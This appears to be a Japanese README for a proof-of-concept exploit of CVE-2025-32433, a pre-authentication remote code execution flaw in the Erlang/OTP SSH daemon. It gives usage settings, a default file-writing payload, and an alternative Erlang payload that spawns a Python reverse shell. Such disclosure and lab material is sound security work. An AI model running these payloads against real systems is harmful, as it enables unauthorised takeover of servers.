
CVE-2025-32433の概念実証エクスプロイト。Erlang/OTP SSHデーモンにおける事前認証RCEです。細工されたSSHチャネルリクエストを送信し、任意のコマンドを実行するPythonスクリプトを含みます。
CVE-2025-32433 は、Erlang/OTP SSH デーモンに影響を与える リモートコード実行 (RCE) 脆弱性です。
根本的な原因は、認証前の SSH チャネルリクエストの不適切な処理にあり、攻撃者がこれを細工することで、
認証前に任意のコマンド実行を引き起こす可能性があります。
添付の PoC は、このような細工された SSH パケットを送信することを示しています。デフォルトではターゲット上に /lab.txt を作成しますが、他のコマンドに応用可能です。
HOST = "127.0.0.1" # Target IP
PORT = 2222 # Target SSH port
python3 cve-2025-32433.py
デフォルトでは pwned を含む /lab.txt を作成します。
build_channel_request 内のペイロードを変更して、独自のコマンドを実行してください。
# Write a file file:write_file("/lab.txt", <<"pwned">>).Spawn a reverse shell
os:cmd("python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("127.0.0.1",2222)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("sh")'")
SSH_MSG_KEXINIT を送信します。exec ペイロードを含む SSH_MSG_CHANNEL_OPEN と SSH_MSG_CHANNEL_REQUEST を送信します。発見と報告は Matt Keeley (Platform Security) によるものです。 PoC を公開して詳細を共有してくれたことに感謝します。